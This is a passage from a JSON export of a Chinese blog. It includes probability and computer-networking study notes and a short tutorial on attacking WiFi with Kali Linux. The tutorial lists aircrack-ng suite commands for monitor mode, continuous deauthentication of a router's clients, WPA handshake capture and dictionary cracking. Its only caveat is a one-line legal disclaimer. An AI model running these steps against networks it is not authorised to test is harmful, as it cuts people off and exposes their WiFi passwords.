align=\"center\"\u003e$\\sigma^2$\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e指数分布$E(\\theta)$\u003c/td\u003e\u003ctd\u003e$f(x)=\\theta e^{-\\theta x},x\\gt 0; 0, other$\u003c/td\u003e\u003ctd align=\"center\"\u003e$\\frac{1}{\\theta}$\u003c/td\u003e\u003ctd align=\"center\"\u003e$\\frac{1}{\\theta^2}$\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2023/01/30/%E6%95%B0%E5%AD%A6/%E6%A6%82%E7%8E%87%E8%AE%BA%E4%B8%8E%E6%95%B0%E7%90%86%E7%BB%9F%E8%AE%A1/%E5%B8%B8%E7%94%A8%E5%88%86%E5%B8%83%E7%9A%84%E6%9C%9F%E6%9C%9B%E5%92%8C%E6%96%B9%E5%B7%AE/"},{"title":"基于Kali的WiFi攻击","time":"2023-01-28T08:30:04Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cblockquote\u003e\u003cp\u003e仅限于合法用途,责任自负\u003cbr/\u003eLegal purpose only, do it at your own risk.\u003c/p\u003e\u003c/blockquote\u003e\u003ch2 id=\"准备\"\u003e\u003ca href=\"https://xeonds.github.io/2023/01/28/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E5%9F%BA%E4%BA%8EKali%E7%9A%84WiFi%E6%94%BB%E5%87%BB/#%E5%87%86%E5%A4%87\" class=\"headerlink\" title=\"准备\"\u003e\u003c/a\u003e准备\u003c/h2\u003e\u003col\u003e\u003cli\u003e检查网卡情况\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e在终端输入 \u003ccode\u003eifconfig\u003c/code\u003e , 如果看到 \u003ccode\u003ewlan0\u003c/code\u003e , 就进行下一步。\u003c/p\u003e\u003col start=\"2\"\u003e\u003cli\u003e启动监控模式\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e用下面的命令启动设备:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003earimon-ng start wlan0\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e然后在\u003ccode\u003eifconfig\u003c/code\u003e的输出中,你就能看到名叫\u003ccode\u003ewlan0mon\u003c/code\u003e的设备。然后输入\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eairodump-ng wlan0mon\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e来启动监听。用下面的指令停止监听:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eairmon-ng stop wlan0mon\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"断网攻击\"\u003e\u003ca href=\"https://xeonds.github.io/2023/01/28/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E5%9F%BA%E4%BA%8EKali%E7%9A%84WiFi%E6%94%BB%E5%87%BB/#%E6%96%AD%E7%BD%91%E6%94%BB%E5%87%BB\" class=\"headerlink\" title=\"断网攻击\"\u003e\u003c/a\u003e断网攻击\u003c/h2\u003e\u003cp\u003e扫出来目标设备之后,用\u003ccode\u003ectrl+c\u003c/code\u003e停止扫描,然后再开个终端,输入\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eaireplay-ng -0 0 -a [BSSID] wlan0mon\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e然后回来这个终端,输入\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eairodump-ng -c [CH] --bssid [BSSID] -w ~/ wlan0mon\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e然后连接那个路由器WiFi的设备应该就会断联了。\u003c/p\u003e\u003ch2 id=\"破解密码\"\u003e\u003ca href=\"https://xeonds.github.io/2023/01/28/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E5%9F%BA%E4%BA%8EKali%E7%9A%84WiFi%E6%94%BB%E5%87%BB/#%E7%A0%B4%E8%A7%A3%E5%AF%86%E7%A0%81\" class=\"headerlink\" title=\"破解密码\"\u003e\u003c/a\u003e破解密码\u003c/h2\u003e\u003cp\u003e当你捕捉到这样的握手包 \u003ccode\u003eWPA handshake: [PACKAGE]\u003c/code\u003e时, \u003ccode\u003eCtrl+c\u003c/code\u003e停止指令\u003c/p\u003e\u003cp\u003e然后输入\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eaircrack-ng -a2 -b [PACKAGE] -w [PATH-TO-PASS-DICTIONARY] ~/*.\u003cspan class=\"built_in\"\u003ecap\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003eKali的自带字典一般在这: \u003ccode\u003e/fs/usr/share/wordlists/rockyou.txt.gz\u003c/code\u003e. 解压,然后把\u003ccode\u003erockyou.txt\u003c/code\u003e的路径替换到上边,回车。然后应该就能获取到密码了。\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2023/01/28/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E5%9F%BA%E4%BA%8EKali%E7%9A%84WiFi%E6%94%BB%E5%87%BB/"},{"title":"计算机网络笔记","time":"2023-01-27T15:07:45Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch2 id=\"Chap-3-数据和信号\"\u003e\u003ca href=\"https://xeonds.github.io/2023/01/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E9%83%A8%E5%88%86-%E7%89%A9%E7%90%86%E5%B1%82%E5%92%8C%E4%BB%8B%E8%B4%A8/#Chap-3-%E6%95%B0%E6%8D%AE%E5%92%8C%E4%BF%A1%E5%8F%B7\" class=\"headerlink\" title=\"Chap.3.数据和信号\"\u003e\u003c/a\u003eChap.3.数据和信号\u003c/h2\u003e\u003ch3 id=\"模拟和数字\"\u003e\u003ca href=\"https://xeonds.github.io/2023/01/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E9%83%A8%E5%88%86-%E7%89%A9%E7%90%86%E5%B1%82%E5%92%8C%E4%BB%8B%E8%B4%A8/#%E6%A8%A1%E6%8B%9F%E5%92%8C%E6%95%B0%E5%AD%97\" class=\"headerlink\" title=\"模拟和数字\"\u003e\u003c/a\u003e模拟和数字\u003c/h3\u003e\u003cul\u003e\u003cli\u003e信息 要传输的,被人理解的内容\u003c/li\u003e\u003cli\u003e数据 对个人/程序有用,可以用信号表示\u003c/li\u003e\u003cli\u003e信号 物理层面的概念。可以用模拟和数字两种形式\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e信号的描述方式我们已经很熟悉了,就是频率,周期,相位之类的指标,再加上频域特征的表示。\u003c/p\u003e\u003ch3 id=\"带宽\"\u003e\u003ca href=\"https://xeonds.github.io/2023/01/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E9%83%A8%E5%88%86-%E7%89%A9%E7%90%86%E5%B1%82%E5%92%8C%E4%BB%8B%E8%B4%A8/#%E5%B8%A6%E5%AE%BD\" class=\"headerlink\" title=\"带宽\"\u003e\u003c/a\u003e带宽\u003c/h3\u003e\u003cul\u003e\u003cli\u003e\u003cstrong\u003e带宽\u003c/strong\u003e:就是复合信号包含的频率范围\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e信噪比\u003c/strong\u003e:定义是$\\frac{\\text{信号能量}}{\\text{噪波能量}}$\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e比特率\u003c/strong\u003e:1秒发送的位数\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e通道有两种类型:\u003cstrong\u003e低通通道(频率下限从0开始)和带通通道(从非0频率开始)\u003c/strong\u003e。同时,数字信号传输方式有两种:\u003cstrong\u003e基带传输和宽带传输\u003c/strong\u003e\u003c/p\u003e\u003cul\u003e\u003cli\u003e基带传输:借助一个低通通道,将信号直接传输。但是数字信号是带宽无穷的复合模拟信号,因此这种方式在现实中总会存在失真。\u003cul\u003e\u003cli\u003e所需带宽和比特率成正比;想发送地更快,就需要更大的带宽\u003c/li\u003e\u003cli\u003e要以1Mbps速率发送数据,最小带宽是1/2=500KHz。如果用到N次谐波,则再乘以N得到所需带宽。\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e宽带传输(使用调制):使用带通通道时,只能使用这种方法发送数字信号。它在发送前将数字信号转换成模拟信号。\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"传输减损\"\u003e\u003ca href=\"https://xeonds.github.io/2023/01/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E9%83%A8%E5%88%86-%E7%89%A9%E7%90%86%E5%B1%82%E5%92%8C%E4%BB%8B%E8%B4%A8/#%E4%BC%A0%E8%BE%93%E5%87%8F%E6%8D%9F\" class=\"headerlink\" title=\"传输减损\"\u003e\u003c/a\u003e传输减损\u003c/h3\u003e\u003cp\u003e三种类型:\u003cstrong\u003e衰减、失真和噪声\u003c/strong\u003e\u003c/p\u003e\u003ch3 id=\"数据速率限制\"\u003e\u003ca href=\"https://xeonds.github.io/2023/01/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E9%83%A8%E5%88%86-%E7%89%A9%E7%90%86%E5%B1%82%E5%92%8C%E4%BB%8B%E8%B4%A8/#%E6%95%B0%E6%8D%AE%E9%80%9F%E7%8E%87%E9%99%90%E5%88%B6\" class=\"headerlink\" title=\"数据速率限制\"\u003e\u003c/a\u003e数据速率限制\u003c/h3\u003e\u003cp\u003e受制于\u003cstrong\u003e有效带宽、使用的信号电平数、通道的质量(噪声电平)\u003c/strong\u003e 这三个因素。\u003c/p\u003e\u003cul\u003e\u003cli\u003e奈奎斯特定理:无噪通道时,理论最大比特率为$2\\times\\text{带宽}\\times log_2L$,其中$L$是电平数。\u003c/li\u003e\u003cli\u003e香农定理:有噪声通道的理论容量为$\\text{带宽}\\times log_2(1+SNR)$。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e香农容量定理给出数据速率的上限,奈奎斯特公式给出所需的信号电平数。\u003c/p\u003e\u003ch3 id=\"性能\"\u003e\u003ca href=\"https://xeonds.github.io/2023/01/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E9%83%A8%E5%88%86-%E7%89%A9%E7%90%86%E5%B1%82%E5%92%8C%E4%BB%8B%E8%B4%A8/#%E6%80%A7%E8%83%BD\" class=\"headerlink\" title=\"性能\"\u003e\u003c/a\u003e性能\u003c/h3\u003e\u003cul\u003e\u003cli\u003e吞吐量=$frame*bits/time$,表示单位时间内成功传输的数据量\u003c/li\u003e\u003cli\u003e延迟:有四个组成要素:传播时间、传输时间、排队时间、处理延迟\u003cul\u003e\u003cli\u003e传播时间:传输一个bit从原到目标的时间,取决于物理速度\u003c/li\u003e\u003cli\u003e延迟:传播延迟+传输时间+排队时间+处理延迟\u003c/li\u003e\u003cli\u003e传播延迟:距离/传播速度\u003c/li\u003e\u003cli\u003e传输时间:报文长度/传输速度\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e带宽延迟积:$\\text{带宽}\\times\\text{延迟}$,定义了能充满链路的位数\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"Chap-4-数字传输\"\u003e\u003ca href=\"https://xeonds.github.io/2023/01/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E9%83%A8%E5%88%86-%E7%89%A9%E7%90%86%E5%B1%82%E5%92%8C%E4%BB%8B%E8%B4%A8/#Chap-4-%E6%95%B0%E5%AD%97%E4%BC%A0%E8%BE%93\" class=\"headerlink\" title=\"Chap.4.数字传输\"\u003e\u003c/a\u003eChap.4.数字传输\u003c/h2\u003e\u003ch3 id=\"数字到数字转换\"\u003e\u003ca href=\"https://xeonds.github.io/2023/01/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E9%83%A8%E5%88%86-%E7%89%A9%E7%90%86%E5%B1%82%E5%92%8C%E4%BB%8B%E8%B4%A8/#%E6%95%B0%E5%AD%97%E5%88%B0%E6%95%B0%E5%AD%97%E8%BD%AC%E6%8D%A2\" class=\"headerlink\" title=\"数字到数字转换\"\u003e\u003c/a\u003e数字到数字转换\u003c/h3\u003e\u003ch4 id=\"线路编码\"\u003e\u003ca href=\"https://xeonds.github.io/2023/01/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E9%83%A8%E5%88%86-%E7%89%A9%E7%90%86%E5%B1%82%E5%92%8C%E4%BB%8B%E8%B4%A8/#%E7%BA%BF%E8%B7%AF%E7%BC%96%E7%A0%81\" class=\"headerlink\" title=\"线路编码\"\u003e\u003c/a\u003e线路编码\u003c/h4\u003e\u003cp\u003e这是将数据转数字信号的技术。它将数字元素编码为信号元素,根据\u003cstrong\u003e每个信号元素承载的数字元素数量,我们定义比率r\u003c/strong\u003e。\u003c/p\u003e\u003cp\u003e数据速率和信号速率的关系如下:$S=c\\frac{N}{r} (baud)$。其中N是数据速率,S是信号元素数量,r是信号元素的数据元素承载量。\u003c/p\u003e\u003cp\u003e线路编码会遇到几个问题:\u003c/p\u003e\u003cul\u003e\u003cli\u003e基线偏移:接收到信号的平均功率(基线)在接收一长串0/1时,会产生偏移,不利于解码。\u003c/li\u003e\u003cli\u003e直流成分:长时间0/1时,会产生很低的频率成分,会给不允许低频/使用电耦合的系统带来问题。\u003c/li\u003e\u003cli\u003e自同步:接收/发送的间隔必须严格对应。长1/0可能会引起失去同步(不知道到底连续发送了几个连续的0/1)。\u003c/li\u003e\u003cli\u003e内置差错检测\u003c/li\u003e\u003cli\u003e抗干扰抗噪声能力\u003c/li\u003e\u003cli\u003e复杂性\u003c/li\u003e\u003c/ul\u003e\u003ch4 id=\"线路编码方案\"\u003e\u003ca href=\"https://xeonds.github.io/2023/01/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E9%83%A8%E5%88%86-%E7%89%A9%E7%90%86%E5%B1%82%E5%92%8C%E4%BB%8B%E8%B4%A8/#%E7%BA%BF%E8%B7%AF%E7%BC%96%E7%A0%81%E6%96%B9%E6%A1%88\" class=\"headerlink\" title=\"线路编码方案\"\u003e\u003c/a\u003e线路编码方案\u003c/h4\u003e\u003cp\u003e主要是这几种\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230609210936.png\"/\u003e\u003c/p\u003e\u003col\u003e\u003cli\u003eNRZ:不归零编码,它有N/2的信号速率,但是有DC成分问题\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230609211704.png\"/\u003e\u003c/p\u003e\u003cpre\u003e\u003ccode\u003e1. NRZ-L:电平决定值,0是正电平,1是负电平2. NRZ-I:下一位是1则反相,0则不反相\u003c/code\u003e\u003c/pre\u003e\u003col start=\"2\"\u003e\u003cli\u003eRZ编码:三个值的编码,它的方式如下所示:\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230609211836.png\"/\u003e\u003c/p\u003e\u003cp\u003e缺点是占用带宽大,以及实现复杂。\u003c/p\u003e\u003col start=\"3\"\u003e\u003cli\u003e双相-曼彻斯特编码:\u003col\u003e\u003cli\u003e普通版本:周期中点跳变,如下图。\u003c/li\u003e\u003cli\u003e差分版本:下一位是1就不反相,是0则反相。\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230609212031.png\"/\u003e\u003c/p\u003e\u003cp\u003e它唯一的缺点是信号速率,是NRZ的两倍。\u003c/p\u003e\u003col start=\"4\"\u003e\u003cli\u003eAMI\u003col\u003e\u003cli\u003eAMI(交替传号反转):传号就是1,所以意思是1交替用正负表示,0用0电平表示\u003c/li\u003e\u003cli\u003e伪三元编码:1是0电平,0是正负交替表示\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"模拟到数字转换\"\u003e\u003ca href=\"https://xeonds.github.io/2023/01/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E9%83%A8%E5%88%86-%E7%89%A9%E7%90%86%E5%B1%82%E5%92%8C%E4%BB%8B%E8%B4%A8/#%E6%A8%A1%E6%8B%9F%E5%88%B0%E6%95%B0%E5%AD%97%E8%BD%AC%E6%8D%A2\" class=\"headerlink\" title=\"模拟到数字转换\"\u003e\u003c/a\u003e模拟到数字转换\u003c/h3\u003e\u003ch3 id=\"传输模式\"\u003e\u003ca href=\"https://xeonds.github.io/2023/01/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E9%83%A8%E5%88%86-%E7%89%A9%E7%90%86%E5%B1%82%E5%92%8C%E4%BB%8B%E8%B4%A8/#%E4%BC%A0%E8%BE%93%E6%A8%A1%E5%BC%8F\" class=\"headerlink\" title=\"传输模式\"\u003e\u003c/a\u003e传输模式\u003c/h3\u003e\u003ch2 id=\"Chap-5-模拟传输\"\u003e\u003ca href=\"https://xeonds.github.io/2023/01/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E9%83%A8%E5%88%86-%E7%89%A9%E7%90%86%E5%B1%82%E5%92%8C%E4%BB%8B%E8%B4%A8/#Chap-5-%E6%A8%A1%E6%8B%9F%E4%BC%A0%E8%BE%93\" class=\"headerlink\" title=\"Chap.5.模拟传输\"\u003e\u003c/a\u003eChap.5.模拟传输\u003c/h2\u003e\u003ch2 id=\"Chap-6-带宽利用\"\u003e\u003ca href=\"https://xeonds.github.io/2023/01/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E9%83%A8%E5%88%86-%E7%89%A9%E7%90%86%E5%B1%82%E5%92%8C%E4%BB%8B%E8%B4%A8/#Chap-6-%E5%B8%A6%E5%AE%BD%E5%88%A9%E7%94%A8\" class=\"headerlink\" title=\"Chap.6.带宽利用\"\u003e\u003c/a\u003eChap.6.带宽利用\u003c/h2\u003e\u003cp\u003e带宽利用是可用带宽的合理利用:\u003c/p\u003e\u003ch3 id=\"复用\"\u003e\u003ca href=\"https://xeonds.github.io/2023/01/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E9%83%A8%E5%88%86-%E7%89%A9%E7%90%86%E5%B1%82%E5%92%8C%E4%BB%8B%E8%B4%A8/#%E5%A4%8D%E7%94%A8\" class=\"headerlink\" title=\"复用\"\u003e\u003c/a\u003e复用\u003c/h3\u003e\u003cp\u003e只要连接两台设备的\u003cstrong\u003e介质带宽\u003c/strong\u003e比设备间\u003cstrong\u003e传输所要求的带宽\u003c/strong\u003e高时,该链路就可以被\u003cstrong\u003e共享\u003c/strong\u003e。复用就是\u003cstrong\u003e允许同时通过一条数据链路传输多个信号\u003c/strong\u003e的一组技术。\u003c/p\u003e\u003cp\u003e通过复用器(MUX)和分离器(DEMUX),我们可以将一个连接(link)划分为可以同时使用的多个通道(channel)。\u003c/p\u003e\u003cp\u003e复用器可以分为这几类:\u003c/p\u003e\u003cul\u003e\u003cli\u003eFDM:分频复用\u003c/li\u003e\u003cli\u003eWDM:分带宽(波段)利用\u003c/li\u003e\u003cli\u003eTDM:时分复用\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e前两者是模拟信号方式实现,而TDM是数字信号方式实现。\u003c/p\u003e\u003ch4 id=\"频分多路复用-Frequency-Division-Multiplexing\"\u003e\u003ca href=\"https://xeonds.github.io/2023/01/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E9%83%A8%E5%88%86-%E7%89%A9%E7%90%86%E5%B1%82%E5%92%8C%E4%BB%8B%E8%B4%A8/#%E9%A2%91%E5%88%86%E5%A4%9A%E8%B7%AF%E5%A4%8D%E7%94%A8-Frequency-Division-Multiplexing\" class=\"headerlink\" title=\"频分多路复用(Frequency-Division Multiplexing)\"\u003e\u003c/a\u003e频分多路复用(Frequency-Division Multiplexing)\u003c/h4\u003e\u003cul\u003e\u003cli\u003eFDM 是用来组合模拟信号的模拟多路复用技术;\u003c/li\u003e\u003cli\u003e载波频率之间的频率差能够容纳调制信号的带宽;\u003c/li\u003e\u003cli\u003e通道之间使用防护频带进行分隔,防止信号重叠;\u003c/li\u003e\u003cli\u003e载波频率不能影响原始的数据频率;\u003c/li\u003e\u003cli\u003e数字信号转换为模拟信号之后仍然可以使用FDM\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230612153316.png\"/\u003e\u003c/p\u003e\u003cp\u003e大致思想如上。上面的图是时域表示不够直观,下图将三个4kHz信号合并到一个12kHz的连接上,用频域表示:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230612153449.png\"/\u003e\u003c/p\u003e\u003cp\u003e总的带宽就是每个频段信号的带宽加上防护频带的带宽(一般是通道数-1)之和。例如,有 5个通道,每个通道的带宽是 100kHz,全部进行多路复用。如果通道之间需要 10kHz 的防护频带以防止干扰,则链路的最小带宽是$5\\times100+4\\times10=540kHz$。这样的复用系统可以多级叠加使用。\u003c/p\u003e\u003ch4 id=\"波分多路复用-Wavelength-Division-Multiplexing\"\u003e\u003ca href=\"https://xeonds.github.io/2023/01/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E9%83%A8%E5%88%86-%E7%89%A9%E7%90%86%E5%B1%82%E5%92%8C%E4%BB%8B%E8%B4%A8/#%E6%B3%A2%E5%88%86%E5%A4%9A%E8%B7%AF%E5%A4%8D%E7%94%A8-Wavelength-Division-Multiplexing\" class=\"headerlink\" title=\"波分多路复用(Wavelength-Division Multiplexing)\"\u003e\u003c/a\u003e波分多路复用(Wavelength-Division Multiplexing)\u003c/h4\u003e\u003cp\u003e它和上面的FDM思想是一致的,只不过处理对象从电信号换成了光信号。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230612154352.png\"/\u003e\u003c/p\u003e\u003cul\u003e\u003cli\u003e在复用器上将多个光源组成单一光信号;\u003c/li\u003e\u003cli\u003e在分离器上做相反的处理;\u003c/li\u003e\u003cli\u003e光源组合与分离由棱镜完成;\u003c/li\u003e\u003cli\u003eWDM的一种应用是同步光纤网络(SONET)。\u003c/li\u003e\u003c/ul\u003e\u003ch4 id=\"同步时分多路复用-Synchronous-Time-Division-Multiplexing\"\u003e\u003ca 